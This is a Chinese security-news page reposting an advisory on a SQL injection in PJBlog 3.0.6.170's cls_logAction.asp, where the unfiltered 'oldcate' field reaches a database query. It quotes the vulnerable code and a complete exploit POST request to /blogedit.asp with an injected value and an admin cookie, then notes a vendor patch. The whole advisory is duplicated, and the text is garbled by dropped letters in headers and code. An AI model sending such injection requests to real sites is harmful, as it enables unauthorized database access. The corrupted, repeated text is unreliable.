PJBlog个人博客系统cls_logAction.asp文件存在注入漏洞
网络安全 2021-07-03 10:02www.168986.cn网络安全知识
影响版本:PJBlog 3.0.6.170
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Aess的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。
漏洞分析:
在文件class/cls_logAction.asp中
oldcate=request.form("oldcate") //第429行
oldctype=request.form("oldtype")
D = conn.execute("select cate_Part from blog_Category where cate_ID="&oldcate)(0)程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。
漏洞利用:
POST /blogedit.asp HTTP/1.1
Aept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, /
Referer:
Aept-Language: zh-
Content-Type: application/x--form-urlencoded
UA-CPU: x86
Aept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (patible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 513
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmc=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=
admin&exp=2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP
id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&ame=xxx&ctype=0&oldame=
xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_order=1&blog_pws=
0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=
web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=
web+safe&log_Quote=解决方案:
厂商补丁
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载
程序介绍:
PJBlog一套开源免费的中文个人博客系统程序，采用asp+Aess的技术，具有相当高的运作效能以及更新率，也支持目前Blog所使用的新技术。
漏洞分析:
在文件class/cls_logAction.asp中
oldcate=request.form("oldcate") //第429行
oldctype=request.form("oldtype")
D = conn.execute("select cate_Part from blog_Category where cate_ID="&oldcate)(0)程序没有对变量oldcate做任何过滤放入sql查询语句中，导致注入漏洞的产生。
漏洞利用:
POST /blogedit.asp HTTP/1.1
Aept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/vnd.ms-excel, application/vnd.ms-powerpoint, /
Referer:
Aept-Language: zh-
Content-Type: application/x--form-urlencoded
UA-CPU: x86
Aept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (patible; MSIE 7.0; Windows NT 5.1; TencentTraveler 4.0; .NET CLR 2.0.50727)
Host: 127.0.0.1
Content-Length: 513
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: __utma=96992031.4542583209449947600.1239335726.1240296350.1240324232.7; __utmz=96992031.1239335726.1.1.utmcsr=(direct)|utmc=(direct)|utmcmd=(none); PJBlog3Setting=ViewType=normal; PJBlog3=memRight=111111111111&memHashKey=c80f369e20b317566f736dbc70839834745d9c20&memName=
admin&exp=2010%2D4%2D21; ASPSESSIONIDCCDSDABA=OEBBHCODJFKIJEGKGCPHGMCP
id=1&log_editType=1&action=post&log_IsDraft=False&title=xxx&log_CateID=3&ame=xxx&ctype=0&oldame=
xxx&oldtype=0&oldcate=3201=1&log_weather=sunny&log_Level=level3&log_order=1&blog_pws=
0&log_Readpw=&log_Pwtips=&c_pws=0&blog_Meta=0&evio_KeyWords=xxx&evio_Description=
web+safe&log_From=%E6%9C%AC%E7%AB%99%E5%8E%9F%E5%88%9B&log_FromURL=http%3A%2F%2Flocalhost%2Fbackci%2F&PubTimeType=&PubTime=2009-4-21+15%3A54%3A46&tags=&UBBfonts=&UBBfonts=&UBBfonts=&UBBmethod=on&Message=web+safe&log_Intro=
web+safe&log_Quote=解决方案:
厂商补丁
PJblog
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载
网络安全培训
- 网络安全带来的危害 网络安全的弊处
- 如何加强网络安全防范
- 网络安全防护知识内容摘要
- 什么网络安全指的是什么 网络安全指的是什么意
- 网络安全十大公司排名 网络安全十大公司排名绿
- 手机网络安全警示格言 手机网络安全警示教育片
- 网络安全培训心得体会 网络安全知识培训
- 如何树立正确的网络意识 怎么样正确对待网络
- 网络安全大赛是什么意思 网络安全大赛比赛规则
- 世界网络安全公司排名 世界十大网络安全上市公
- 网络安全注意事项知识 网络安全注意事项知识短
- 网络安全常识十条口诀 小学生安全十句话
- 网络安全等级保护三级 网络安全三级等保标准
- 如何增强网络安全防范意识 如何增强网络安全防
- 网络安全注意事项有哪些 网络安全应注意事项
- 网络安全培训感悟 网络安全培训后的收获和感想